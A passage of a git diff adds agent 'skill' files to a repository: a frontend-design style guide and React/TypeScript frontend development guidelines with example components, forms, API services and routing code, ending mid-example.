medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS diff --git a/skills/frontend-design/SKILL.md b/skills/frontend-design/SKILL.md new file mode 100644 index 00000000..5be498e2 --- /dev/null +++ b/skills/frontend-design/SKILL.md @@ -0,0 +1,42 @@ +--- +name: frontend-design +description: Create distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, artifacts, posters, or applications (examples include websites, landing pages, dashboards, React components, HTML/CSS layouts, or when styling/beautifying any web UI). Generates creative, polished code and UI design that avoids generic AI aesthetics. +license: Complete terms in LICENSE.txt +--- + +This skill guides creation of distinctive, production-grade frontend interfaces that avoid generic "AI slop" aesthetics. Implement real working code with exceptional attention to aesthetic details and creative choices. + +The user provides frontend requirements: a component, page, application, or interface to build. They may include context about the purpose, audience, or technical constraints. + +## Design Thinking + +Before coding, understand the context and commit to a BOLD aesthetic direction: +- **Purpose**: What problem does this interface solve? Who uses it? +- **Tone**: Pick an extreme: brutally minimal, maximalist chaos, retro-futuristic, organic/natural, luxury/refined, playful/toy-like, editorial/magazine, brutalist/raw, art deco/geometric, soft/pastel, industrial/utilitarian, etc. There are so many flavors to choose from. Use these for inspiration but design one that is true to the aesthetic direction. +- **Constraints**: Technical requirements (framework, performance, accessibility). +- **Differentiation**: What makes this UNFORGETTABLE? What's the one thing someone will remember? + +**CRITICAL**: Choose a clear conceptual direction and execute it with precision. Bold maximalism and refined minimalism both work - the key is intentionality, not intensity. + +Then implement working code (HTML/CSS/JS, React, Vue, etc.) that is: +- Production-grade and functional +- Visually striking and memorable +- Cohesive with a clear aesthetic point-of-view +- Meticulously refined in every detail + +## Frontend Aesthetics Guidelines + +Focus on: +- **Typography**: Choose fonts that are beautiful, unique, and interesting. Avoid generic fonts like Arial and Inter; opt instead for distinctive choices that elevate the frontend's aesthetics; unexpected, characterful font choices. Pair a distinctive display font with a refined body font. +- **Color & Theme**: Commit to a cohesive aesthetic. Use CSS variables for consistency. Dominant colors with sharp accents outperform timid, evenly-distributed palettes. +- **Motion**: Use animations for effects and micro-interactions. Prioritize CSS-only solutions for HTML. Use Motion library for React when available. Focus on high-impact moments: one well-orchestrated page load with staggered reveals (animation-delay) creates more delight than scattered micro-interactions. Use scroll-triggering and hover states that surprise. +- **Spatial Composition**: Unexpected layouts. Asymmetry. Overlap. Diagonal flow. Grid-breaking elements. Generous negative space OR controlled density. +- **Backgrounds & Visual Details**: Create atmosphere and depth rather than defaulting to solid colors. Add contextual effects and textures that match the overall aesthetic. Apply creative forms like gradient meshes, noise textures, geometric patterns, layered transparencies, dramatic shadows, decorative borders, custom cursors, and grain overlays. + +NEVER use generic AI-generated aesthetics like overused font families (Inter, Roboto, Arial, system fonts), cliched color schemes (particularly purple gradients on white backgrounds), predictable layouts and component patterns, and cookie-cutter design that lacks context-specific character. + +Interpret creatively and make unexpected choices that feel genuinely designed for the context. No design should be the same. Vary between light and dark themes, different fonts, different aesthetics. NEVER converge on common choices (Space Grotesk, for example) across generations. + +**IMPORTANT**: Match implementation complexity to the aesthetic vision. Maximalist designs need elaborate code with extensive animations and effects. Minimalist or refined designs need restraint, precision, and careful attention to spacing, typography, and subtle details. Elegance comes from executing the vision well. + +Remember: Claude is capable of extraordinary creative work. Don't hold back, show what can truly be created when thinking outside the box and committing fully to a distinctive vision. diff --git a/skills/frontend-dev-guidelines/SKILL.md b/skills/frontend-dev-guidelines/SKILL.md new file mode 100644 index 00000000..c8585536 --- /dev/null +++ b/skills/frontend-dev-guidelines/SKILL.md @@ -0,0 +1,399 @@ +--- +name: frontend-dev-guidelines +description: Frontend development guidelines for React/TypeScript applications. Modern patterns including Suspense, lazy loading, useSuspenseQuery, file organization with features directory, MUI v7 styling, TanStack Router, performance optimization, and TypeScript best practices. Use when creating components, pages, features, fetching data, styling, routing, or working with frontend code. +--- + +# Frontend Development Guidelines + +## Purpose + +Comprehensive guide for modern React development, emphasizing Suspense-based data fetching, lazy loading, proper file organization, and performance optimization. + +## When to Use This Skill + +- Creating new components or pages +- Building new features +- Fetching data with TanStack Query +- Setting up routing with TanStack Router +- Styling components with MUI v7 +- Performance optimization +- Organizing frontend code +- TypeScript best practices + +--- + +## Quick Start + +### New Component Checklist + +Creating a component? Follow this checklist: + +- [ ] Use `React.FC<Props>` pattern with TypeScript +- [ ] Lazy load if heavy component: `React.lazy(() => import())` +- [ ] Wrap in `<SuspenseLoader>` for loading states +- [ ] Use `useSuspenseQuery` for data fetching +- [ ] Import aliases: `@/`, `~types`, `~components`, `~features` +- [ ] Styles: Inline if <100 lines, separate file if >100 lines +- [ ] Use `useCallback` for event handlers passed to children +- [ ] Default export at bottom +- [ ] No early returns with loading spinners +- [ ] Use `useMuiSnackbar` for user notifications + +### New Feature Checklist + +Creating a feature? Set up this structure: + +- [ ] Create `features/{feature-name}/` directory +- [ ] Create subdirectories: `api/`, `components/`, `hooks/`, `helpers/`, `types/` +- [ ] Create API service file: `api/{feature}Api.ts` +- [ ] Set up TypeScript types in `types/` +- [ ] Create route in `routes/{feature-name}/index.tsx` +- [ ] Lazy load feature components +- [ ] Use Suspense boundaries +- [ ] Export public API from feature `index.ts` + +--- + +## Import Aliases Quick Reference + +| Alias | Resolves To | Example | +|-------|-------------|---------| +| `@/` | `src/` | `import { apiClient } from '@/lib/apiClient'` | +| `~types` | `src/types` | `import type { User } from '~types/user'` | +| `~components` | `src/components` | `import { SuspenseLoader } from '~components/SuspenseLoader'` | +| `~features` | `src/features` | `import { authApi } from '~features/auth'` | + +Defined in: [vite.config.ts](../../vite.config.ts) lines 180-185 + +--- + +## Common Imports Cheatsheet + +```typescript +// React & Lazy Loading +import React, { useState, useCallback, useMemo } from 'react'; +const Heavy = React.lazy(() => import('./Heavy')); + +// MUI Components +import { Box, Paper, Typography, Button, Grid } from '@mui/material'; +import type { SxProps, Theme } from '@mui/material'; + +// TanStack Query (Suspense) +import { useSuspenseQuery, useQueryClient } from '@tanstack/react-query'; + +// TanStack Router +import { createFileRoute } from '@tanstack/react-router'; + +// Project Components +import { SuspenseLoader } from '~components/SuspenseLoader'; + +// Hooks +import { useAuth } from '@/hooks/useAuth'; +import { useMuiSnackbar } from '@/hooks/useMuiSnackbar'; + +// Types +import type { Post } from '~types/post'; +``` + +--- + +## Topic Guides + +### 🎨 Component Patterns + +**Modern React components use:** +- `React.FC<Props>` for type safety +- `React.lazy()` for code splitting +- `SuspenseLoader` for loading states +- Named const + default export pattern + +**Key Concepts:** +- Lazy load heavy components (DataGrid, charts, editors) +- Always wrap lazy components in Suspense +- Use SuspenseLoader component (with fade animation) +- Component structure: Props → Hooks → Handlers → Render → Export + +**[📖 Complete Guide: resources/component-patterns.md](resources/component-patterns.md)** + +--- + +### 📊 Data Fetching + +**PRIMARY PATTERN: useSuspenseQuery** +- Use with Suspense boundaries +- Cache-first strategy (check grid cache before API) +- Replaces `isLoading` checks +- Type-safe with generics + +**API Service Layer:** +- Create `features/{feature}/api/{feature}Api.ts` +- Use `apiClient` axios instance +- Centralized methods per feature +- Route format: `/form/route` (NOT `/api/form/route`) + +**[📖 Complete Guide: resources/data-fetching.md](resources/data-fetching.md)** + +--- + +### 📁 File Organization + +**features/ vs components/:** +- `features/`: Domain-specific (posts, comments, auth) +- `components/`: Truly reusable (SuspenseLoader, CustomAppBar) + +**Feature Subdirectories:** +``` +features/ + my-feature/ + api/ # API service layer + components/ # Feature components + hooks/ # Custom hooks + helpers/ # Utility functions + types/ # TypeScript types +``` + +**[📖 Complete Guide: resources/file-organization.md](resources/file-organization.md)** + +--- + +### 🎨 Styling + +**Inline vs Separate:** +- <100 lines: Inline `const styles: Record<string, SxProps<Theme>>` +- >100 lines: Separate `.styles.ts` file + +**Primary Method:** +- Use `sx` prop for MUI components +- Type-safe with `SxProps<Theme>` +- Theme access: `(theme) => theme.palette.primary.main` + +**MUI v7 Grid:** +```typescript +<Grid size={{ xs: 12, md: 6 }}> // ✅ v7 syntax +<Grid xs={12} md={6}> // ❌ Old syntax +``` + +**[📖 Complete Guide: resources/styling-guide.md](resources/styling-guide.md)** + +--- + +### 🛣️ Routing + +**TanStack Router - Folder-Based:** +- Directory: `routes/my-route/index.tsx` +- Lazy load components +- Use `createFileRoute` +- Breadcrumb data in loader + +**Example:** +```typescript +import { createFileRoute } from '@tanstack/react-router'; +import { lazy } from 'react'; + +const MyPage = lazy(() => import('@/features/my-feature/components/MyPage')); + +export const Route = createFileRoute('/my-route/')({ + component: MyPage, + loader: () => ({ crumb: 'My Route' }), +}); +``` + +**[📖 Complete Guide: resources/routing-guide.md](resources/routing-guide.md)** + +--- + +### ⏳ Loading & Error States + +**CRITICAL RULE: No Early Returns** + +```typescript +// ❌ NEVER - Causes layout shift +if (isLoading) { + return <LoadingSpinner />; +} + +// ✅ ALWAYS - Consistent layout +<SuspenseLoader> + <Content /> +</SuspenseLoader> +``` + +**Why:** Prevents Cumulative Layout Shift (CLS), better UX + +**Error Handling:** +- Use `useMuiSnackbar` for user feedback +- NEVER `react-toastify` +- TanStack Query `onError` callbacks + +**[📖 Complete Guide: resources/loading-and-error-states.md](resources/loading-and-error-states.md)** + +--- + +### ⚡ Performance + +**Optimization Patterns:** +- `useMemo`: Expensive computations (filter, sort, map) +- `useCallback`: Event handlers passed to children +- `React.memo`: Expensive components +- Debounced search (300-500ms) +- Memory leak prevention (cleanup in useEffect) + +**[📖 Complete Guide: resources/performance.md](resources/performance.md)** + +--- + +### 📘 TypeScript + +**Standards:** +- Strict mode, no `any` type +- Explicit return types on functions +- Type imports: `import type { User } from '~types/user'` +- Component prop interfaces with JSDoc + +**[📖 Complete Guide: resources/typescript-standards.md](resources/typescript-standards.md)** + +--- + +### 🔧 Common Patterns + +**Covered Topics:** +- React Hook Form with Zod validation +- DataGrid wrapper contracts +- Dialog component standards +- `useAuth` hook for current user +- Mutation patterns with cache invalidation + +**[📖 Complete Guide: resources/common-patterns.md](resources/common-patterns.md)** + +--- + +### 📚 Complete Examples + +**Full working examples:** +- Modern component with all patterns +- Complete feature structure +- API service layer +- Route with lazy loading +- Suspense + useSuspenseQuery +- Form with validation + +**[📖 Complete Guide: resources/complete-examples.md](resources/complete-examples.md)** + +--- + +## Navigation Guide + +| Need to... | Read this resource | +|------------|-------------------| +| Create a component | [component-patterns.md](resources/component-patterns.md) | +| Fetch data | [data-fetching.md](resources/data-fetching.md) | +| Organize files/folders | [file-organization.md](resources/file-organization.md) | +| Style components | [styling-guide.md](resources/styling-guide.md) | +| Set up routing | [routing-guide.md](resources/routing-guide.md) | +| Handle loading/errors | [loading-and-error-states.md](resources/loading-and-error-states.md) | +| Optimize performance | [performance.md](resources/performance.md) | +| TypeScript types | [typescript-standards.md](resources/typescript-standards.md) | +| Forms/Auth/DataGrid | [common-patterns.md](resources/common-patterns.md) | +| See full examples | [complete-examples.md](resources/complete-examples.md) | + +--- + +## Core Principles + +1. **Lazy Load Everything Heavy**: Routes, DataGrid, charts, editors +2. **Suspense for Loading**: Use SuspenseLoader, not early returns +3. **useSuspenseQuery**: Primary data fetching pattern for new code +4. **Features are Organized**: api/, components/, hooks/, helpers/ subdirs +5. **Styles Based on Size**: <100 inline, >100 separate +6. **Import Aliases**: Use @/, ~types, ~components, ~features +7. **No Early Returns**: Prevents layout shift +8. **useMuiSnackbar**: For all user notifications + +--- + +## Quick Reference: File Structure + +``` +src/ + features/ + my-feature/ + api/ + myFeatureApi.ts # API service + components/ + MyFeature.tsx # Main component + SubComponent.tsx # Related components + hooks/ + useMyFeature.ts # Custom hooks + useSuspenseMyFeature.ts # Suspense hooks + helpers/ + myFeatureHelpers.ts # Utilities + types/ + index.ts # TypeScript types + index.ts # Public exports + + components/ + SuspenseLoader/ + SuspenseLoader.tsx # Reusable loader + CustomAppBar/ + CustomAppBar.tsx # Reusable app bar + + routes/ + my-route/ + index.tsx # Route component + create/ + index.tsx # Nested route +``` + +--- + +## Modern Component Template (Quick Copy) + +```typescript +import React, { useState, useCallback } from 'react'; +import { Box, Paper } from '@mui/material'; +import { useSuspenseQuery } from '@tanstack/react-query'; +import { featureApi } from '../api/featureApi'; +import type { FeatureData } from '~types/feature'; + +interface MyComponentProps { + id: number; + onAction?: () => void; +} + +export const MyComponent: React.FC<MyComponentProps> = ({ id, onAction }) => { + const [state, setState] = useState<string>(''); + + const { data } = useSuspenseQuery({ + queryKey: ['feature', id], + queryFn: () => featureApi.getFeature(id), + }); + + const handleAction = useCallback(() => { + setState('updated'); + onAction?.(); + }, [onAction]); + + return ( + <Box sx={{ p: 2 }}> + <Paper sx={{ p: 3 }}> + {/* Content */} + </Paper> + </Box> + ); +}; + +export default MyComponent; +``` + +For complete examples, see [resources/complete-examples.md](resources/complete-examples.md) + +--- + +## Related Skills + +- **error-tracking**: Error tracking with Sentry (applies to frontend too) +- **backend-dev-guidelines**: Backend API patterns that frontend consumes + +--- + +**Skill Status**: Modular structure with progressive loading for optimal context management \ No newline at end of file diff --git a/skills/frontend-dev-guidelines/resources/common-patterns.md b/skills/frontend-dev-guidelines/resources/common-patterns.md new file mode 100644 index 00000000..7a8c657c --- /dev/null +++ b/skills/frontend-dev-guidelines/resources/common-patterns.md @@ -0,0 +1,331 @@ +# Common Patterns + +Frequently used patterns for forms, authentication, DataGrid, dialogs, and other common UI elements. + +--- + +## Authentication with useAuth + +### Getting Current User + +```typescript +import { useAuth } from '@/hooks/useAuth'; + +export const MyComponent: React.FC = () => { + const { user } = useAuth(); + + // Available properties: + // - user.id: string + // - user.email: string + // - user.username: string + // - user.roles: string[] + + return ( + <div> + <p>Logged in as: {user.email}</p> + <p>Username: {user.username}</p> + <p>Roles: {user.roles.join(', ')}</p> + </div> + ); +}; +``` + +**NEVER make direct API calls for auth** - always use `useAuth` hook. + +--- + +## Forms with React Hook Form + +### Basic Form + +```typescript +import { useForm } from 'react-hook-form'; +import { zodResolver } from '@hookform/resolvers/zod'; +import { z } from 'zod'; +import { TextField, Button } from '@mui/material'; +import { useMuiSnackbar } from '@/hooks/useMuiSnackbar'; + +// Zod schema for validation +const formSchema = z.object({ + username: z.string().min(3, 'Username must be at least 3 characters'), + email: z.string().email('Invalid email address'), + age: z.number().min(18, 'Must be 18 or older'), +}); + +type FormData = z.infer<typeof formSchema>; + +export const MyForm: React.FC = () => { + const { showSuccess, showError } = useMuiSnackbar(); + + const { register, handleSubmit, formState: { errors } } = useForm<FormData>({ + resolver: zodResolver(formSchema), + defaultValues: { + username: '', + email: '', + age: 18, + }, + }); + + const onSubmit = async (data: FormData) => { + try { + await api.submitForm(data); + showSuccess('Form submitted successfully'); + } catch (error) { + showError('Failed to submit form'); + } + }; + + return ( + <form onSubmit={handleSubmit(onSubmit)}> + <TextField + {...register('username')} + label='Username' + error={!!errors.username} + helperText={errors.username?.message} + /> + + <TextField + {...register('email')} + label='Email' + error={!!errors.email} + helperText={errors.email?.message} + type='email' + /> + + <TextField + {...register('age', { valueAsNumber: true })} + label='Age' + error={!!errors.age} + helperText={errors.age?.message} + type='number' + /> + + <Button type='submit' variant='contained'> + Submit + </Button> + </form> + ); +}; +``` + +--- + +## Dialog Component Pattern + +### Standard Dialog Structure + +From BEST_PRACTICES.md - All dialogs should have: +- Icon in title +- Close button (X) +- Action buttons at bottom + +```typescript +import { Dialog, DialogTitle, DialogContent, DialogActions, Button, IconButton } from '@mui/material'; +import { Close, Info } from '@mui/icons-material'; + +interface MyDialogProps { + open: boolean; + onClose: () => void; + onConfirm: () => void; +} + +export const MyDialog: React.FC<MyDialogProps> = ({ open, onClose, onConfirm }) => { + return ( + <Dialog open={open} onClose={onClose} maxWidth='sm' fullWidth> + <DialogTitle> + <Box sx={{ display: 'flex', alignItems: 'center', justifyContent: 'space-between' }}> + <Box sx={{ display: 'flex', alignItems: 'center', gap: 1 }}> + <Info color='primary' /> + Dialog Title + </Box> + <IconButton onClick={onClose} size='small'> + <Close /> + </IconButton> + </Box> + </DialogTitle> + + <DialogContent> + {/* Content here */} + </DialogContent> + + <DialogActions> + <Button onClick={onClose}>Cancel</Button> + <Button onClick={onConfirm} variant='contained'> + Confirm + </Button> + </DialogActions> + </Dialog> + ); +}; +``` + +--- + +## DataGrid Wrapper Pattern + +### Wrapper Component Contract + +From BEST_PRACTICES.md - DataGrid wrappers should accept: + +**Required Props:** +- `rows`: Data array +- `columns`: Column definitions +- Loading/error states + +**Optional Props:** +- Toolbar components +- Custom actions +- Initial state + +```typescript +import { DataGridPro } from '@mui/x-data-grid-pro'; +import type { GridColDef } from '@mui/x-data-grid-pro'; + +interface DataGridWrapperProps { + rows: any[]; + columns: GridColDef[]; + loading?: boolean; + toolbar?: React.ReactNode; + onRowClick?: (row: any) => void; +} + +export const DataGridWrapper: React.FC<DataGridWrapperProps> = ({ + rows, + columns, + loading = false, + toolbar, + onRowClick, +}) => { + return ( + <DataGridPro + rows={rows} + columns={columns} + loading={loading} + slots={{ toolbar: toolbar ? () => toolbar : undefined }} + onRowClick={(params) => onRowClick?.(params.row)} + // Standard configuration + pagination + pageSizeOptions={[25, 50, 100]} + initialState={{ + pagination: { paginationModel: { pageSize: 25 } }, + }} + /> + ); +}; +``` + +--- + +## Mutation Patterns + +### Update with Cache Invalidation + +```typescript +import { useMutation, useQueryClient } from '@tanstack/react-query'; +import { useMuiSnackbar } from '@/hooks/useMuiSnackbar'; + +export const useUpdateEntity = () => { + const queryClient = useQueryClient(); + const { showSuccess, showError } = useMuiSnackbar(); + + return useMutation({ + mutationFn: ({ id, data }: { id: number; data: any }) => + api.updateEntity(id, data), + + onSuccess: (result, variables) => { + // Invalidate affected queries + queryClient.invalidateQueries({ queryKey: ['entity', variables.id] }); + queryClient.invalidateQueries({ queryKey: ['entities'] }); + + showSuccess('Entity updated'); + }, + + onError: () => { + showError('Failed to update entity'); + }, + }); +}; + +// Usage +const updateEntity = useUpdateEntity(); + +const handleSave = () => { + updateEntity.mutate({ id: 123, data: { name: 'New Name' } }); +}; +``` + +--- + +## State Management Patterns + +### TanStack Query for Server State (PRIMARY) + +Use TanStack Query for **all server data**: +- Fetching: useSuspenseQuery +- Mutations: useMutation +- Caching: Automatic +- Synchronization: Built-in + +```typescript +// ✅ CORRECT - TanStack Query for server data +const { data: users } = useSuspenseQuery({ + queryKey: ['users'], + queryFn: () => userApi.getUsers(), +}); +``` + +### useState for UI State + +Use `useState` for **local UI state only**: +- Form inputs (uncontrolled) +- Modal open/closed +- Selected tab +- Temporary UI flags + +```typescript +// ✅ CORRECT - useState for UI state +const [modalOpen, setModalOpen] = useState(false); +const [selectedTab, setSelectedTab] = useState(0); +``` + +### Zustand for Global Client State (Minimal) + +Use Zustand only for **global client state**: +- Theme preference +- Sidebar collapsed state +- User preferences (not from server) + +```typescript +import { create } from 'zustand'; + +interface AppState { + sidebarOpen: boolean; + toggleSidebar: () => void; +} + +export const useAppState = create<AppState>((set) => ({ + sidebarOpen: true, + toggleSidebar: () => set((state) => ({ sidebarOpen: !state.sidebarOpen })), +})); +``` + +**Avoid prop drilling** - use context or Zustand instead. + +--- + +## Summary + +**Common Patterns:** +- ✅ useAuth hook for current user (id, email, roles, username) +- ✅ React Hook Form + Zod for forms +- ✅ Dialog with icon + close button +- ✅ DataGrid wrapper contracts +- ✅ Mutations with cache invalidation +- ✅ TanStack Query for server state +- ✅ useState for UI state +- ✅ Zustand for global client state (minimal) + +**See Also:** +- [data-fetching.md](data-fetching.md) - TanStack Query patterns +- [component-patterns.md](component-patterns.md) - Component structure +- [loading-and-error-states.md](loading-and-error-states.md) - Error handling \ No newline at end of file diff --git a/skills/frontend-dev-guidelines/resources/complete-examples.md b/skills/frontend-dev-guidelines/resources/complete-examples.md new file mode 100644 index 00000000..e5018ea3 --- /dev/null +++ b/skills/frontend-dev-guidelines/resources/complete-examples.md @@ -0,0 +1,872 @@ +# Complete Examples + +Full working examples combining all modern patterns: React.FC, lazy loading, Suspense, useSuspenseQuery, styling, routing, and error handling. + +--- + +## Example 1: Complete Modern Component + +Combines: React.FC, useSuspenseQuery, cache-first, useCallback, styling, error handling + +```typescript +/** + * User profile display component + * Demonstrates modern patterns with Suspense and TanStack Query + */ +import React, { useState, useCallback, useMemo } from 'react'; +import { Box, Paper, Typography, Button, Avatar } from '@mui/material'; +import type { SxProps, Theme } from '@mui/material'; +import { useSuspenseQuery, useMutation, useQueryClient } from '@tanstack/react-query'; +import { userApi } from '../api/userApi'; +import { useMuiSnackbar } from '@/hooks/useMuiSnackbar'; +import type { User } from '~types/user'; + +// Styles object +const componentStyles: Record<string, SxProps<Theme>> = { + container: { + p: 3, + maxWidth: 600, + margin: '0 auto', + }, + header: { + display: 'flex', + alignItems: 'center', + gap: 2, + mb: 3, + }, + content: { + display: 'flex', + flexDirection: 'column', + gap: 2, + }, + actions: { + display: 'flex', + gap: 1, + mt: 2, + }, +}; + +interface UserProfileProps { + userId: string; + onUpdate?: () => void; +} + +export const UserProfile: React.FC<UserProfileProps> = ({ userId, onUpdate }) => { + const queryClient = useQueryClient(); + const { showSuccess, showError } = useMuiSnackbar(); + const [isEditing, setIsEditing] = useState(false); + + // Suspense query - no isLoading needed! + const { data: user } = useSuspenseQuery({ + queryKey: ['user', userId], + queryFn: () => userApi.getUser(userId), + staleTime: 5 * 60 * 1000, + }); + + // Update mutation + const updateMutation = useMutation({ + mutationFn: (updates: Partial<User>) => + userApi.updateUser(userId, updates), + + onSuccess: () => { + queryClient.invalidateQueries({ queryKey: ['user', userId] }); + showSuccess('Profile updated'); + setIsEditing(false); + onUpdate?.(); + }, + + onError: () => { + showError('Failed to update profile'); + }, + }); + + // Memoized computed value + const fullName = useMemo(() => { + return `${user.firstName} ${user.lastName}`; + }, [user.firstName, user.lastName]); + + // Event handlers with useCallback + const handleEdit = useCallback(() => { + setIsEditing(true); + }, []); + + const handleSave = useCallback(() => { + updateMutation.mutate({ + firstName: user.firstName, + lastName: user.lastName, + }); + }, [user, updateMutation]); + + const handleCancel = useCallback(() => { + setIsEditing(false); + }, []); + + return ( + <Paper sx={componentStyles.container}> + <Box sx={componentStyles.header}> + <Avatar sx={{ width: 64, height: 64 }}> + {user.firstName[0]}{user.lastName[0]} + </Avatar> + <Box> + <Typography variant='h5'>{fullName}</Typography> + <Typography color='text.secondary'>{user.email}</Typography> + </Box> + </Box> + + <Box sx={componentStyles.content}> + <Typography>Username: {user.username}</Typography> + <Typography>Roles: {user.roles.join(', ')}</Typography> + </Box> + + <Box sx={componentStyles.actions}> + {!isEditing ? ( + <Button variant='contained' onClick={handleEdit}> + Edit Profile + </Button> + ) : ( + <> + <Button + variant='contained' + onClick={handleSave} + disabled={updateMutation.isPending} + > + {updateMutation.isPending ? 'Saving...' : 'Save'} + </Button> + <Button onClick={handleCancel}> + Cancel + </Button> + </> + )} + </Box> + </Paper> + ); +}; + +export default UserProfile; +``` + +**Usage:** +```typescript +<SuspenseLoader> + <UserProfile userId='123' onUpdate={() => console.log('Updated')} /> +</SuspenseLoader> +``` + +--- + +## Example 2: Complete Feature Structure + +Real example based on `features/posts/`: + +``` +features/ + users/ + api/ + userApi.ts # API service layer + components/ + UserProfile.tsx # Main component (from Example 1) + UserList.tsx # List component + UserBlog.tsx # Blog component + modals/ + DeleteUserModal.tsx # Modal component + hooks/ + useSuspenseUser.ts # Suspense query hook + useUserMutations.ts # Mutation hooks + useUserPermissions.ts # Feature-specific hook + helpers/ + userHelpers.ts # Utility functions + validation.ts # Validation logic + types/ + index.ts # TypeScript interfaces + index.ts # Public API exports +``` + +### API Service (userApi.ts) + +```typescript +import apiClient from '@/lib/apiClient'; +import type { User, CreateUserPayload, UpdateUserPayload } from '../types'; + +export const userApi = { + getUser: async (userId: string): Promise<User> => { + const { data } = await apiClient.get(`/users/${userId}`); + return data; + }, + + getUsers: async (): Promise<User[]> => { + const { data } = await apiClient.get('/users'); + return data; + }, + + createUser: async (payload: CreateUserPayload): Promise<User> => { + const { data } = await apiClient.post('/users', payload); + return data; + }, + + updateUser: async (userId: string, payload: UpdateUserPayload): Promise<User> => { + const { data } = await apiClient.put(`/users/${userId}`, payload); + return data; + }, + + deleteUser: async (userId: string): Promise<void> => { + await apiClient.delete(`/users/${userId}`); + }, +}; +``` + +### Suspense Hook (useSuspenseUser.ts) + +```typescript +import { useSuspenseQuery } from '@tanstack/react-query'; +import { userApi } from '../api/userApi'; +import type { User } from '../types'; + +export function useSuspenseUser(userId: string) { + return useSuspenseQuery<User, Error>({ + queryKey: ['user', userId], + queryFn: () => userApi.getUser(userId), + staleTime: 5 * 60 * 1000, + gcTime: 10 * 60 * 1000, + }); +} + +export function useSuspenseUsers() { + return useSuspenseQuery<User[], Error>({ + queryKey: ['users'], + queryFn: () => userApi.getUsers(), + staleTime: 1 * 60 * 1000, // Shorter for list + }); +} +``` + +### Types (types/index.ts) + +```typescript +export interface User { + id: string; + username: string; + email: string; + firstName: string; + lastName: string; + roles: string[]; + createdAt: string; + updatedAt: string; +} + +export interface CreateUserPayload { + username: string; + email: string; + firstName: string; + lastName: string; + password: string; +} + +export type UpdateUserPayload = Partial<Omit<User, 'id' | 'createdAt' | 'updatedAt'>>; +``` + +### Public Exports (index.ts) + +```typescript +// Export components +export { UserProfile } from './components/UserProfile'; +export { UserList } from './components/UserList'; + +// Export hooks +export { useSuspenseUser, useSuspenseUsers } from './hooks/useSuspenseUser'; +export { useUserMutations } from './hooks/useUserMutations'; + +// Export API +export { userApi } from './api/userApi'; + +// Export types +export type { User, CreateUserPayload, UpdateUserPayload } from './types'; +``` + +--- + +## Example 3: Complete Route with Lazy Loading + +```typescript +/** + * User profile route + * Path: /users/:userId + */ + +import { createFileRoute } from '@tanstack/react-router'; +import { lazy } from 'react'; +import { SuspenseLoader } from '~components/SuspenseLoader'; + +// Lazy load the UserProfile component +const UserProfile = lazy(() => + import('@/features/users/components/UserProfile').then( + (module) => ({ default: module.UserProfile }) + ) +); + +export const Route = createFileRoute('/users/$userId')({ + component: UserProfilePage, + loader: ({ params }) => ({ + crumb: `User ${params.userId}`, + }), +}); + +function UserProfilePage() { + const { userId } = Route.useParams(); + + return ( + <SuspenseLoader> + <UserProfile + userId={userId} + onUpdate={() => console.log('Profile updated')} + /> + </SuspenseLoader> + ); +} + +export default UserProfilePage; +``` + +--- + +## Example 4: List with Search and Filtering + +```typescript +import React, { useState, useMemo } from 'react'; +import { Box, TextField, List, ListItem } from '@mui/material'; +import { useDebounce } from 'use-debounce'; +import { useSuspenseQuery } from '@tanstack/react-query'; +import { userApi } from '../api/userApi'; + +export const UserList: React.FC = () => { + const [searchTerm, setSearchTerm] = useState(''); + const [debouncedSearch] = useDebounce(searchTerm, 300); + + const { data: users } = useSuspenseQuery({ + queryKey: ['users'], + queryFn: () => userApi.getUsers(), + }); + + // Memoized filtering + const filteredUsers = useMemo(() => { + if (!debouncedSearch) return users; + + return users.filter(user => + 